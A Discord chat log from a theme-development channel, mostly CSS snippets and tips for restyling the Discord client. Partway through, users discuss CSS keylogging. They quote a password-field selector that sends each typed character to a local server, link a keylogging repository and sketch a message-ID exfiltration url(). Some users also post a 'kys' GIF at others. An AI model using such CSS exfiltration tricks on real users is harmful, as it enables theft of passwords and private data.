🎨-theme-development

[gilded cloak]

the core of vscode and other editors?

[edgy sentinel]

https://github.com/microsoft/monaco-editor/issues/4071

https://microsoft.github.io/monaco-editor/

[teal cave]

other small stuff that might be useful:

• attr() being able to specify a fallback if element doesn't have that attribute, and also adding a unit eg. get 4px from height="4"
• sin(), log(), sqrt() and other maths stuff

[vast delta]

min, max, minmax are also good

wait no

i meant the round() thing lol

[supple jacinth]

Is sqrt faster than ^ 0.5

Just curious

[teal cave]

you can't ^ in css iirc

unless you mean pow() which is also not everywhere yet

[mortal mantle]

I have only seen pow in c++

out of all places

[teal cave]

hell yeah, full px values only and no blurry half px off problems

[mortal mantle]

px em rem too confusing

[supple jacinth]

Not something you need to worry about when writing snippets I guess

[teal cave]

just use --unit: calc((100vw + 100vh) / 2) instead

[supple jacinth]

what the hell

[mortal mantle]

I just use px for everything

I don't want to see more math in my code

[alpine cove]

probably but it's also more accurate

[mortal mantle]

math IRL is already too much

[supple jacinth]

How so? Because floating point stuff?

[teal cave]

I used it in one of my themes to make chonky borders scale up and down with the window size, not sure if I would recommend though bc makes you insane in the head

[alpine cove]

yeah pow is usually less accurate

bc its implemented generally

[teal cave]

General Implementation

[vast delta]

all of this is working code

[teal cave]

red means that line is extra cool

[mortal mantle]

horror

[vast delta]

i made it even worse

nested selectors are actually a blessing

[mortal mantle]

holy shit it actually works

[vast delta]

iIKR

wait whats &

[supple jacinth]

what does that = do

[supple jacinth]

A nested selector

[mortal mantle]

just gonna wait for this to be supported

[vast delta]

i was asking if that is the same

[mortal mantle]

thats it im learning scss

this could immensely shorten up my code

[vast delta]

dont

wait for usercss

[mortal mantle]

theres already a scss CLI

[supple jacinth]

That @extends seems like custom class, cool

Some discord themes are written in sass too

[sweet tundra]

what it do

[edgy sentinel]

status indicators begone

[mortal mantle]

ah nice

[sweet tundra]

ohh

[woven tartan]

is it just me or dev tools is fucked up? everytime i want to inspect an element it crash

[mortal mantle]

Use Vesktop instead

[woven tartan]

isn't that whole different client?

[edgy sentinel]

yes

[woven tartan]

just checked the project, im not entirely sure whats the different, is it just a rewrite of discord's electron client or something?

[clear siren]

it's web discord wrapped in a newer electron essentially

it's the best if you don't need global keybinds or ingame overlay

[woven tartan]

i see, i'll try that then

[mortal mantle]

I don't even know that global key binds existed so Vesktop is perfect for me

[edgy jungle]

holy shit i found rare id usage in discrod
#user-context-invite-to-server

razy

c

[edgy sentinel]

all context menus use ids

:P

[edgy jungle]

oh do they

xd

[edgy sentinel]

@teal cave why do you fetch these dynamically instead of just inling them into the main stylesheet?

makes them all not show at first then load in which is kinda ugly

i think inlining them would be wayy better

also wow i just realised youre scottish, do you wear a kilt and play the bagpipe (u better, i love the bagpipe)

[teal cave]

I don't have a reason, other than it was like this in DevilBro's original, and I didn't bother changing it

[edgy sentinel]

devilbro

fear

[teal cave]

he has good ideas just not always the best implementations

[teal cave]

I don't but if I didn't have neighbours, I might start 👀

I do swordfight, if that makes up for it somewhat lol

[edgy sentinel]

thats pretty cool

like as a sports?

or just for funsies

[teal cave]

It's a fun sport, so not entirely sure where I stand on the sport to fun scale

I'm planning to compete in tournaments, so maybe more sporty?

[gritty grove]

how to make it so that the typing animation in discorddoesn't play in css

[mortal mantle]

whar how did this get so many stars

[brittle juniper]

OMGURFAMOUS

[mortal mantle]

all thanks to you darling

[gritty grove]

how to fully remove the typing animation

for cpu save

using css

[toxic yew]

there is a plugin for that

[gritty grove]

no i wanna remove it

if possible

[mortal mantle]

[class*=typingDots_]>svg {
display: none !important;
}

[simple kiln]

https://vencord.dev/plugins/NoTypingAnimation
https://vencord.dev/plugins/SilentTyping

[simple kiln]

using display none doesn't reduce cpu usage.

[gritty grove]

Oh ok i better use this then thanks

[mortal mantle]

that's ... exactly what I thought, if anything it would increase usage even

[edgy sentinel]

i don't think that's true

you avoid painting via display none

painting is generally the costly part

display none will stop it from repainting it all the time, so definitely slightly reduce cpu usage

[mortal mantle]

sheesh I kinda dig this box-shadow

but my cpu usage ....

[clear siren]

my message styling..

[mortal mantle]

i copied it from the internet 😭

[mortal mantle]

box-shadow: #0000002b 0px -23px 25px 0px inset, #00000026 0px -36px 30px 0px inset, #0000001a 0px -79px 40px 0px inset, #0000000f 0px 2px 1px, #00000017 0px 4px 2px, #00000017 0px 8px 4px, #00000017 0px 16px 8px, #00000017 0px 32px 16px;

[clear siren]

ok that's a bit more

[mortal mantle]

https://getcssscan.com/css-box-shadow-examples

[clear siren]

but could be made very similar with fewer

[mortal mantle]

i clicked on a style i liked to copy the entire line

[mortal mantle]

all attr selectors do look horrendous lmao

[mortal mantle]

@vast delta are you satisfied with this now

[summer edge]

can anyone tell me why changing the order of the elements adds a filter or something to the pic...

.userPopoutOuter_d739b2 .avatarPositionNormal__1797c,
.userPopoutOuter_d739b2 .avatarPositionPremiumBanner__1e83d,
.userPopoutOuter_d739b2 .avatarPositionPremiumNoBanner__8bf3b {
    position: static;
    order: -1;
}

only seems to affect themed profiles

[clear siren]

add z-index:1

[summer edge]

eyy that fixed it thanks

[vast delta]

very

[mortal mantle]

Redemption arc

Making all betterdiscord theme devs mad

[vast delta]

are you sure you need all the *= selectors?

[mortal mantle]

yes

groupStart but does not start at beginning of the group

sane discord moment

[vast delta]

sane

[rugged echo]

wait how is removing the typing animation going to reduce cpu usage?

[vast delta]

the animation of the dots jumping around is very performance taxing (thanks discord) so the plugin stop discord from calculating all that stuff

[rugged echo]

looks like a simple animation, but idk

[vast delta]

discord is literally just text boxes and profile pictures

even if it is simple in theory, discord will fuck it up and make it bad

[steel pewter]

i swear there was a picture in picture popout snippet here, but can't find it

[vast delta]

picture in picture what?

[steel pewter]

the popup when you watch a stream

i'm looking through search but nothing so far

this here, it's been discussed before

[vast delta]

what do you want to do with it

[steel pewter]

Make it bigger

[vast delta]

tutorial on css:

you join vc

you watch moxxies stream

open quickcss

open devtools

click to select element and click stream popout

class="pictureInPictureWindow_dc49a8 pictureInPictureWindowOverflow__3abe4 elevationHigh__80ea8 borderRadius__3965c" sounds interesting

[stable compass]

CSS IS HARD!!!

[steel pewter]

banger. thanks

[vast delta]

"banger, thanks"

[stable compass]

such a banger

#logang

#team10

[steel pewter]

and then you use width and height on it, yes?

[stable compass]

yep

.pictureInPictureVideo_f1081d

[vast delta]

rehash = death

[gilded cloak]

No, bad

[class^=pictureInPictureVideo]

[vast delta]

HOLY SHIT f53 IS TYPIJNG

[gilded cloak]

What are you zeet

Why the fuck do you want the underscore

[vast delta]

its always good to end the classname with an underscore if you dont need more to prevent overlap with things you dont want

[gilded cloak]

None of my css broke when they switched from - to _ because it did not include it :p

[gilded cloak]

I just add more context

[vast delta]

me when replace - with _

[vast delta]

less efficient

[gilded cloak]

I have literally never ran into this problem before

But seems helpful

[stable compass]

thumbs up

[steel pewter]

thank you all

[timid dragon]

This is not working anymore.

Anyone knows how can I resized members and channel list?

[clear siren]

.members__9f47b, .sidebar_ded4b5

[supple jacinth]

I wrote this

/* Collapse sidebars when screen is narrow */
@media (max-width: 1024px) {
/* Channel list*/
  .sidebar_ded4b5 {
    width: 60px;
    transition-duration: 0.125s;
  }
  .sidebar_ded4b5:hover {
    width: 240px;
  }
/* Members list*/
  .container_b2ce9c {
    width: 60px;
    transition-duration: 0.125s;
  }
  .container_b2ce9c:hover {
    width: 240px;
  }
}

[timid dragon]

thank you

[timid dragon]

this only collapse the sidebars when you narrow the window

I want to extend their size permanently.

[supple jacinth]

div.sidebar_ded4b5 {
    width: 360px;
  }
  div.container_b2ce9c {
    width: 360px;
  }```
For sidebar and members list respectively

change 360px to whatever you want

[timid dragon]

small problem.

the list isn't resizing with the names

[toxic yew]

[class*=members_] {
    width: 360px;
}

[class*=member_] {
    max-width: unset;
}

[supple jacinth]

Ah yeah that's better

I've never made it wider

[rose geode]

is there a new css selector of vencord BetterFolder?

[vestal field]

no

betterfolder doesnt have a selector im pretty sure

its just div

[clear siren]

https://syndishanx.github.io/Website/Update_Classes.html

[atomic portal]

this is while hovering on it

this without hovering

i want the color display everytime not on hovering

how can i do that

here is the css i am using

[hazy frigate]

There should be a way to get rid of that awful "Call has that lasted X time" thing that pops up in the channel after a call

If you accidentally tap the call button then you basically just left a permanent scar in the channel

I hate this stupid ahh thing

[mortal mantle]

using css wiil only get rid of it on your side

not everyone else's

[hazy frigate]

That works for me

[mortal mantle]

but not for others

do you get what I meant

[hazy frigate]

No i mean like

I'm fine with it only working applying to me

I just wanna get rid of the thing

[stable compass]

.systemMessage__6e6a4 {display:none}

hides all system messages but

yea

[hazy frigate]

That works, thanks

[stable compass]

sorry for another ping; if you use english discord you can use this so it wont hide all sys messages
[aria-label=" (channel)"] .systemMessage__6e6a4 {display:none}

[hazy frigate]

Ohh ok, i don't mind pings btw so dw

[night lodge]

Hi, I'm wondering if someone can give me a high-level overview of how I'd write css to censor certain phrases in statuses et cetera

[vestal field]

its not possible to select things based on content in css

[simple kiln]

@import url("https://lazuee.github.io/css-snippets/discord/sidebar-dm/import.css");
@import url("https://lazuee.github.io/css-snippets/discord/channel-list/import.css");
@import url("https://lazuee.github.io/css-snippets/discord/member-list/import.css"); 

:root {
    --list-type: "hover"; 
/*     --list-type: "focus"; */
    --list-transition: 200ms;
    --list-active-transition: 800ms;
    
    --sidebar-dm-type: var(--list-type);
    --sidebar-dm-transition: var(--list-transition);
    --sidebar-dm-active-transition: var(--list-active-transition);
    --sidebar-dm-width: 68px;
    --sidebar-dm-active-width: 245px;
    --sidebar-dm-display-header: "false";
    --sidebar-dm-display-search: "false";
    
    --sidebar-channel-type: var(--list-type);
    --sidebar-channel-transition: var(--list-transition);
    --sidebar-channel-active-transition: var(--list-active-transition);
    --sidebar-channel-width: 68px;
    --sidebar-channel-icon-size: 22px;
    --sidebar-channel-active-width: 245px;
    
    --member-list-type: var(--list-type);
    --member-list-transition: var(--list-transition);
    --member-list-active-transition: var(--list-active-transition);
    --member-list-width: 70px;
    --member-list-active-width: 245px;
}

[timid dragon]

thank you, works fine

[atomic portal]

can anyone tell

[wet kite]

im new to making vencord themes, what is the sorta title bar bit called as an element \/ ?

[vast delta]

use select element

[wet kite]

it crashed discord when i open it

tested it x5 now

crashes when i open inspect elemt in the discord app

[summer edge]

the trick is to get vesktop

because it just does that... for some reason

[wet kite]

will they fix the bug?

[summer edge]

no idea

afaik it has to do with the memory limit of the app

never happened to me with BD though so I'd imagine it can be fixed?

but for now i would just use vesktop

works very well for dev work

[wet kite]

why does the html they write have to be so complicated? so many divs in divs in divs that are all sorta the same thing

[vast delta]

https://github.com/vencord/vesktop

[vast delta]

Well it's all because of and of course since

[wet kite]

windows is convicnced its a virus

[vast delta]

tell windows to shut the fuck up and stop crying because ven isnt paying them

[exotic nexus]

because it's react

[gilded cloak]

As the lead developer on a large website that uses react. No.
Its likely because one of these

1. It makes css easier somehow
2. They refuse to use fragments
3. They dumb

[grand surge]

does anyone know how to fix the star

⭐

for some reason they made it use src

only the star emoji

supid ass twemoji star

[vast delta]

get rekt by ⭐

[teal cave]

On the plus side, there have been a bunch of times where something I wanted to do in a theme was only possible because of the mountain of wrapper divs.

[mortal mantle]

this line is definitely fucked

[clear siren]

I was also thinking of making it so my messages are on the right but decided against it

I was also thinking of making something like border-images to make the message balloons have the stems or whatever they're called

[mortal mantle]

too complicated

[clear siren]

not really

[mortal mantle]

[class^=messageListItem__][data-is-self="true"] {
margin-left: auto;
width: fit-content;
padding-right: 48px;
    [class^=container_],
    .embedAuthor_cb4bfc {
    direction: rtl;
    }
    [class^=contents_] {
    display: inline-block;
    width: 100%;
    max-width: 100%;
    margin-left: auto;
    margin-right: 8px;
    }
    [class^=repliedMessage_],
    [class^=contents_] [class*=messageContent__],
    a:not([class*=embed_] [class*=embedAuthorNameLink_]) {
    margin-left: auto;
    }
    [class^=avatar__] {
    left: unset;
    right: -8px;
    }
    [class^=header__],
    [class*=messageContent__] {
    display: flex;
    flex-direction: row-reverse;
    }
    [class*=timestampInline_] {
    top: 2px;
    left: unset;
    right: 8px;
    }
}

whatever this is to align own messages to the right

[vast delta]

I want to commit multiple war crimes on you for formatting your CSS like this

[mortal mantle]

huh why

[summer edge]

can you nest CSS now?

[vast delta]

yes

[mortal mantle]

yes

[summer edge]

just vesktop or all CSS?

[vast delta]

nesting CSS is supported in vesktop, not sure about vencord

[night drift]

it is

[mortal mantle]

[class^=messageListItem__][data-is-self="true"] {
margin-left: auto;
width: fit-content;
padding-right: 48px;
[class^=container_],
.embedAuthor_cb4bfc {
direction: rtl;
}
[class^=contents_] {
display: inline-block;
width: 100%;
max-width: 100%;
margin-left: auto;
margin-right: 8px;
}
[class^=repliedMessage_],
[class^=contents_] [class*=messageContent__],
a:not([class*=embed_] [class*=embedAuthorNameLink_]) {
margin-left: auto;
}
[class^=avatar__] {
left: unset;
right: -8px;
}
[class^=header__],
[class*=messageContent__] {
display: flex;
flex-direction: row-reverse;
}
[class*=timestampInline_] {
top: 2px;
left: unset;
right: 8px;
}
}

[summer edge]

im kinda asking in general, that would be awesome for webdev work :o

[night drift]

run navigator.appVersion in console and tell me what it prints

[mortal mantle]

or should it be without any spaces

[night drift]

if its on here u can use nesting: https://caniuse.com/css-nesting

[vast delta]

just paste this in to see if it works

if it works it should hide the entire app

[mortal mantle]

guh

[summer edge]

https://tenor.com/view/no-i-dont-think-i-will-captain-america-old-capt-gif-17162888

[vast delta]

that's a good point

[glad urchin]

try to do what whatsapp does...?

you could make the channel list larger to expand down and more to the sides

so that the chat area is compressed

[grand surge]

okay so the white boxes would be flex box right?

[supple jacinth]

You could use flexbox or grid

[grand surge]

okokokok

[summer edge]

you probably want flexbox

[rugged echo]

this looks very weird because not all messages are the same width

[summer edge]

will work better on mobile that way

without media queries

[rugged echo]

or maybe it just doesn't work for me

[clear siren]

it's like that by design

I also have messagebubbles that are each different size

[grand surge]

did and works fine

thanks you

[fresh summit]

heyoo, is it possible to modify an element's text content with only CSS possible or not?

[summer edge]

theres the content property which lets you add text to an element

[vast delta]

only pseudoelements

[solid ore]

is there a nicer way of hiding server shop than this?

{ 
  display: none !important;
}```

[vast delta]

screenshot devtools selection of that element using themeattributes

[vast delta]

with themeattributes?

[solid ore]

i j did "copy selector" to get this ^

[vast delta]

open the children please

[solid ore]

i have the plugin enabled, idk how to use it tbh

[vast delta]

yeah no there's nothing unique

maybe the icon sizes or names

[solid ore]

yeah i was looking for a data list item id or aria label or smthng but couldnt find any

[vast delta]

try [class^=containerDefault_]:last-of-type

unless there are more elements with the same classes below that

forgor the =

[solid ore]

it doesnt hide server shop but hides suggested channels

[solid ore]

oh yeah this

[vast delta]

yeah then just use :nth-of-type() instead (if that doesn't exist keep :nth-child(5)

not sure rn if nth of type exists

[solid ore]

nop

thanks for the trying tho!

[vast delta]

no problem!

[vast delta]

I meant [class^=containerDefault_]:nth-of-type(5) btw

[solid ore]

i misunderstood then, but that doesnt work either

it hides a muted text channel w threads

[vast delta]

WAT

oh yeah me stupid

just use the number that works lol, probably 2 or 3

[solid ore]

that

does work

!

thank you

[vast delta]

:3

very long type ik

[night drift]

what they selling

[solid ore]

idk if someone has already done this but i j made this to get rid of the upsell in profile customizer

#profile-customization-tab > div:nth-child(4) > div > div > [class^=sectionsContainer_] > div:nth-child(4), /* avatar decoration customizer */
#profile-customization-tab > div:nth-child(4) > div > div > [class^=sectionsContainer_] > div:nth-child(5) /* profile effect customizer */
{ 
  display: none !important;
}

[solid ore]

shit

[vast delta]

[solid ore]

btw this only works on that specific server, other servers it hides other channels

[vast delta]

guh

should be the same for your old selector though

then I can't help you right now

[solid ore]

doesnt look like it has the same issue

[solid ore]

nw, thanks anyway!

[solid ore]

is it ugly

[vast delta]

yes

[night drift]

html > body > div:nth-child(2) > div:nth-child(3) > div:nth-child(1) > div:nth-child(1) > div > div:nth-child(2) > div > div > div > div > div:nth-child(2) > div:nth-child(2) > div:nth-child(1) > div:nth-child(1) > main > div:nth-child(1) > div:nth-child(2) > div > ol > li:nth-child(97) > div > div:nth-child(2) > div > span > img {
  display: none !important;
}

[vast delta]

the selectors are ew

[vast delta]

I'll murder you in your sleep

NTH CHILD 97??

[night drift]

gotta get the right message

[solid ore]

i do the bare minimum effort that works :)

[mortal mantle]

HOW

[rugged echo]

what the fuck is this monstrosity?

[dark dragon]

Pretty decent chance the container class there is only used for that. If not just do something like .containerClass:has([src=<src of the image on the left>])

[haughty totem]

re devtools crashing: #🏥-vencord-support-🏥 message

[vestal field]

you can also enable the no devtools warning plugin and then inspect discord the moment it begins loading

or just use vesktop

[clear siren]

vesktop is the answer to everything

[glad urchin]

vesktop bestop on top

[clear siren]

interesting, I have a theme with heavy use of gradients, shadows, filter:blur and filter:drop-shadow etc.. I updated my gpu drivers which caused vesktop to lose gpu accel but it worked fine still up until I tried to have a thread in the side view

trying to scroll that view was like 5 sec per frame

[haughty totem]

existential problems? This baby will take right care of it *slaps roof of vesktop*

[royal atlas]

how can i inspect in discord , do i need vesktop or i can do it just with vencord ?

[clear siren]

ctrl+shift+i works in both but you should first enable nodevtoolswarning plugin

[royal atlas]

oh ok

[clear siren]

and normal discord+vencord might still crash for whatever reason, vesktop won't

[royal atlas]

yeah it crashes back to back

[grand surge]

chat is there a way to move user profile in settings (profiles tab)

[clear siren]

move where

[solid ore]

i have vesktop literally just so i can inspect things

id use it always if u could use keybinds but :/

[haughty totem]

Vencord Web maybe

altho if vesktop doesn’t have keybinds, i suppose web does even less?

[vast delta]

webcord doesn't have keybind support but I think vesktop had some kind of extra support built in some time ago

[haughty totem]

is webcord your personal term for Vencord Web?

some kind of extra support built in some time ago
oh cool

[vast delta]

webcord is discord web

vebcord is vencord web

:3

[haughty totem]

lol nice

vesktop also has streaming quality settings now, pretty epic!!

[vast delta]

"now"

[haughty totem]

less than 2 months, prbly less than 1

[grand surge]

to left or right

[solid ore]

that didnt work for some reason, but i did this which serves the same purpose
#profile-customization-tab > [class^=container_]:has([class^=art__])

thanks for the tip nonetheless

[solid ore]

u were right

:(

is there no way of doing smthng like this?
[class^=containerDefault__] > [class^=link__]:has([class^=content_] > [class^=name_]:has("Server Shop"))

[safe python]

nope

you cant read the content of an element with css

[solid ore]

that

is such a shame

this is my workaround for now :/
#channels > ul > li:nth-child(5) > [class^=link__]

[vast delta]

when text select in CSS?

[safe python]

new feature of chromium 452

[vast delta]

real???????

[clear siren]

factual

[vast delta]

I'll eat ven if I wake up tomorrow and we have text selecting and usercss

[clear siren]

it's in the css level 7 selectors proposal

[dark dragon]

.container_d6bff4:has([src="/assets/8693cf27588b5d099f98.png"]) {
    display: none;
}

Is how you'd do it the way I'd sent. Should work fine

[grand surge]

yall should make a plugin that makes heic pictures and mov videos display on pc instead of showing up as files

[vast delta]

1. not a CSS request
2. would require a lot of work

[jovial vault]

Is their a functioning CSS for colored chat bubbles on the normal app not the browser version?

[edgy sentinel]

they're the same thing

[jovial vault]

I encountered a script last week that only worked on the browser version because of mix ins that required the latest chromium (or so I was told). That's why I asked

[vast delta]

use https://github.com/vencord/vesktop

[jovial vault]

I didn't even know this existed lmao. Thank you

[night drift]

https://developer.chrome.com/blog/css-relative-color-syntax/

this is soo huge for userstyles

now we just need the attr() function for all properties or a currentBackgroundColor value

[vast delta]

attr(.element:"background-color")

the quotation marks because of selectors like :is and :has

would be revolutionary

just like usercss!!!!!!

[night drift]

its already defined in the spec

just not implemented by browsers

[vast delta]

:O

add add add add

[night drift]

at least as a draft https://drafts.csswg.org/css-values-5/#attr-notation

[vast delta]

we need all the CSS power we can have

I wanna run proprietary, external code that will give people viruses just by having my imports

[dusky hare]

i will make css keylogger (actually real)

[vast delta]

I will make CSS doom

[night drift]

yeah the security aspect of it is still being debated

[vast delta]

you could do something like

content: url("https://yourown.website?"attr(.privatemessage [get the userid]))
}```

maybe at least

[dusky hare]

unfortunately CSS doesn't allow string concatenation like that

but it would be nice if they did

[vast delta]

oh okay I've seen similar things

[night drift]

attr() = attr( <attr-name> <attr-type>? , <declaration-value>?)

<attr-name> = [ <ident-token> '|' ]? <ident-token>

<attr-type> = string | url | ident | color | number | percentage |
length | angle | time | frequency | flex | <dimension-unit>

[vast delta]

I think @gilded cloak did that in a snippet

[night drift]

u cant specify the element

[vast delta]

why!!!

[night drift]

u can only reference attributes on the current css selector

[dusky hare]

you could do a similar thing using custom properties though

[night drift]

another problem is circular references

[vast delta]

or variables maybe

[gilded cloak]

Did what I cant read context

[night drift]

that is another reason why we dont have a currentBackgroundColor value

[dusky hare]

(custom properties is the spec name for variables)

[vast delta]

string concatenation in css or what it's called

I think you did "text" attr() "text"

[gilded cloak]

I don't think I have done anything with attr

[vast delta]

then it was some other godly css expert in here

[dusky hare]

you can do it in some contexts (like the content property), not with url() though

[vast delta]

oh okay

would be great though

[gilded cloak]

I don't think any of those words are accurate descriptors of me

[vast delta]

maybe I'm mistaking you for someone else

[gilded cloak]

I do a lot of css. But I'm really bad at it. I just spend a lot of time until it works

[night drift]

css-gcpm-3

that module has stuff related to that

also this:
https://github.com/w3c/csswg-drafts/issues/542

[night drift]

@jovial vault nice banner

https://tenor.com/view/mods-tie-him-up-ltg-low-tier-god-kill-yourself-now-kys-gif-97316207949095273

[dark dragon]

That also just won't work with url() it doesn't like interpolation. There's some stuff in the spec, but there doesn't seem to be any push to implement it

[night drift]

yeah and currently u cant use var() in url()

[haughty totem]

cool!
any idea when it’ll drop in chrome?

[clear siren]

sunnie said chromium 452, I believe it

you have an interesting habit of reading and responding to old conversations btw

nothing against it but it's interesting

[haughty totem]

^^

[mortal mantle]

[haughty totem]

cool!

The OKLCH, OKLAB, XYZ or sRGB color spaces provide the most predictable results when lightening colors.
bruh why so many ToT

[clear siren]

ToT?

[haughty totem]

T-T but :o

[clear siren]

oh I thought it was some acronym

[haughty totem]

(actually real)
i don’t believe

[solid ore]

does nothing for me, either way my method would work if they change the image or there's a rehash so im happy w it

[clear siren]

btw you know that that statement was entirely fabricated right

just making sure

[haughty totem]

aw sad
no i did not

[clear siren]

lmao

[haughty totem]

Looks like they were thinking about it for the CSS3 spec but it didn't make the cut.
:contains() CSS3 selector http://www.w3.org/TR/css3-selectors/#content-selectors
(— https://stackoverflow.com/a/4561376/234309 )

[clear siren]

yeah I know

[dusky hare]

https://github.com/maxchehab/CSS-Keylogging

it requires a specific environment but is possible

[buoyant hawk]

Rounded (user panel, simplier user pop out, spotify player)

• it removes things I dont use from the user pop out, so it's basically a picker between dnd and invisible status but u can easily tweak it so u get whatever u're using back

Put this at the top of ur quickcss file to use it :

@import url('https://raw.githubusercontent.com/HmTici/discord-css-snippets/main/Rounded%20(user%20panel%2C%20simplier%20user%20pop%20out%2C%20rounded%20spotify%20player)/import.css');

or check the code on github :
https://github.com/HmTici/discord-css-snippets/blob/main/Rounded (user panel%2C simplier user pop out%2C rounded spotify player)/import.css

(I'm new to web dev etc so if there is any problem that's my bad)

[mortal mantle]

horror

it actually logs every common character lmao

[haughty totem]

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}```

haha that’s cool

[eternal vector]

quick question

i'm trying to make css to remove only the events tab and not the server guide tab and channels + roles

[class*="containerDefault__3187b wrapper__7bcde"]
{
    display: none;
}```

this is how far i've gotten however it removes all 3

how can i get it to specify only the events tab which is under the same class but under role="listitem" data-list-item-id="channels___upcoming-events-(server id here)' tab index="-1"

[vast delta]

use the attribute selector when trying to IGNORE hashes, that's the only thing it is useful for

so [class^=containerDefault_]

[eternal vector]

tbh i just spaghetti'd the code together and hoped it works

ok ^ instead of *

[vast delta]

read the CSS selector docs for more information on why ^

[eternal vector]

gotcha

[vast delta]

in your case, you don't use class at all though

[data-list-item-id^=channels___upcoming-events-]

you can use everything in place of class that is formatted the same way

if it says (something)="(something)" you can select it that way

[eternal vector]

ah, i tried to do it but in the form of [data-list-item-id="channels___upcoming-events-"] but didnt know you had to reformat

thanks

[vast delta]

oh no you were asking for something that had exactly that value as the data list thing

using ^= says beginning with

[eternal vector]

ic

[ripe carbon]

everyone is trans here, you can't

[mortal mantle]

Are you?

[vast delta]

@edgy sentinel I always knew you were a transfem

[ripe carbon]

no, but yes

[haughty totem]

trans folk can totally have balls

[grand surge]

not for long

[haughty totem]

you don’t have to get operated

[grand surge]

i will personally take them

[haughty totem]

you will take the balls?

[grand surge]

yes

and sell them

[haughty totem]

you will sell the balls D=

[mortal mantle]

there's a market for that

[haughty totem]

Craigsballs

[simple kiln]

[data-list-item-id*="_upcoming-events"]

[deft niche]

whats the class of the user area? im trying to recolor it to fit with the rest of my theme but it isnt being affected

[summer edge]

use dev tools and find out

[deft niche]

yeah thats what i did

[summer edge]

have fun finding which of those works lmao

[deft niche]

[oak plover]

The one that’s brighter than the rest of it is the one that’s tied to the element

[sacred anchor]

any ways for me to get the old version of discord theme?

[deft niche]

you could check out dtm 16

[sacred anchor]

saw + used, dont u think it isn't really oldschool?

[deft niche]

i mean you could always just make your own theme

[rugged echo]

pretty sure its panels__
that also affects the VC thing or activity

[vast delta]

Panels and container both have a background if i recall correctly, panels is just for the avatar, username thing and panels is foreverything that gets put into a box at the bottom of the channellist

as zeylogger says, panels is the main element that the vc and activity goes into

[night drift]

does not mean they medically transitioned

https://tenor.com/view/mods-tie-him-up-ltg-low-tier-god-kill-yourself-now-kys-gif-97316207949095273

[ripe carbon]

FUCK

[teal cave]

pip install balls

[mortal mantle]

sudo dnf install balls

[dawn wind]

add !important to the end of the line like

.thing {
     color: #FFFFFF !important;
}

[mortal mantle]

I didn't know borders could look this good

[rugged echo]

discord users after writing 14k lines of code to make discord look good

[mortal mantle]

this is under 2500 lines

https://cdn.discordapp.com/emojis/1135092102498365440.webp?size=48&name=blobcatgay&quality=lossless

how do you not have cute role despite joining in 2022

inssae

[clear siren]

very similar colorscheme as my theme

[gilded cloak]

That's still a stupid amount of css

[clear siren]

mine's 401 lines including comments and whitespace

[night drift]

not for something like discord

[mortal mantle]

considering I have seen a theme with almost 70k lines

[vast delta]

devilbro themes:

[dark dragon]

I think the biggest at the moment is Steam by Disease, Slate by Gibbu is also right up there

[night drift]

wrong channel moment

[vast delta]

correct channel moment

[dark dragon]

? I'm talking about the line count of their themes

[vast delta]

big egg on your face ryan

[night drift]

how anyone supposed to know all the themes out there by name

bro is a discord theme enthusiast

[vast delta]

if the name gibbu doesn't tell you anything you do not know enough about discord themes

[night drift]

i do not want to know anything about discord themes
would take hundreds of hours to make a comprehensive theme

[dark dragon]

I know most of Gibbu's and Disease's themes. They're quite popular and often have people requesting fixes

[teal cave]

idk I can bang together a theme in ~50 hrs

[vast delta]

I can bang a theme together in 10 minutes

[night drift]

if ur just changing colors
but if u wanted to make a good amoled theme
you would need to add borders to everything

[vast delta]

it's gonna be really basic and ugly but it'll be a theme

[night drift]

ive already done something like this with youtube

took weeks

[vast delta]

*{border:white;2px;solid}

[night drift]

https://userstyles.world/style/12222/amoled-youtube

[dark dragon]

I think there's a spreadsheet out there of all the themeable areas, OT sure if it includes how to get to them, but that speeds it along a bit

[night drift]

about 4 1/2 weeks
so like a month

[vast delta]

all themeable areas is what you get when you open devtools

[teal cave]

nah I really do mean a full theme, anything that’s not finnicky on details really

[dark dragon]

There's a whole bunch of parts of this app most people just don't use though. I think to submit a theme on BD it has to have daily comprehensive coverage of the app, which includes obscure popups most people haven't seen

[night drift]

yeah im talking literally everything tho

thats what i did with my youtube userstyle

even the obscure special 404 page

[dark dragon]

Yeah that's what the spreadsheet helps with. It's a pain on discord though, because there's always new experiments adding stupid shit

[vast delta]

then what's discolored?

[dark dragon]

Iirc the requirements are a fairly recent thing because people kept submitting recolours or anime themes

[night drift]

i did so much crazy shit
this is how i made only the background of some images change from #0f0f0f to #000

/* "Ad-free" Image */
.ytm-lp-small-feature-section-view-model-c3__feature-image-container img:is(
[src="https://www.gstatic.com/youtube/img/promos/growth/premium_lp2_small_feature_Ad-free_dark_phone_200x148.webp"],
[src="https://www.gstatic.com/youtube/img/promos/growth/premium_lp2_small_feature_Ad-free_dark_tablet_200x148.webp"]) {
  background: center / contain no-repeat url("https://www.gstatic.com/youtube/img/promos/growth/premium_lp2_small_feature_Ad-free_dark_phone_200x148.webp"),
    center / contain no-repeat url("data:image/svg+xml,\
      <svg xmlns='http://www.w3.org/2000/svg' fill='%230f0f0f' viewBox='0 0 200 148'>\
        <path d='M0 0h200v148H0z'/>\
      </svg>\
    ");
  background-blend-mode: difference;
  content: var(--ayt-img);
}

changing the color of only the text in the youtube logo:

/* YouTube Premium Logo */
#logo.yt-unlimited-page-header-renderer {
  position: relative;
}

#logo.yt-unlimited-page-header-renderer::before {
  background: 100% 0% / calc(55200% / 389) no-repeat url("https://www.gstatic.com/youtube/img/promos/growth/ytr_lp2_logo_premium_desktop_552x71.png");
  content: "";
  filter: drop-shadow(0 10000lvh var(--yt-spec-wordmark-text));
  width: calc(38900% / 552);
  height: 100%;
  position: absolute;
  right: 0;
  transform: translateY(-10000lvh);
}

u can do some crazy shit with just css

[vast delta]

you don't say

[mortal mantle]

55200%

[night drift]

i needed the fraction 552/389

as a percent

thats the only way to do it

552px is the length of the whole logo
389px is the length of the "YouTube" part of the logo

[grand surge]

i cant get elements to display above the sidebar no matter how much i mess with the z-index of anything, using horizontal sidebar here

[supple jacinth]

z-index only works on elements with a specified position of anything other than static

[grand surge]

oh i see thank you

hm still doesnt work

[supple jacinth]

You could try setting it to position: fixed and top: 0 right: 0?

[grand surge]

that worked tysm!

[lucid lagoon]

Hello everyone! I'm looking for a way to display a world clock for my friends' timezones on Discord. Specifically, I want it to always be visible either in the bottom right corner of the Discord window or above my profile.

Initially, I tried finding a bot that could set a channel name to the current time in a specific timezone and then pinning that channel to my favorite DMs/servers. However, I couldn't find any bots that offered this feature.

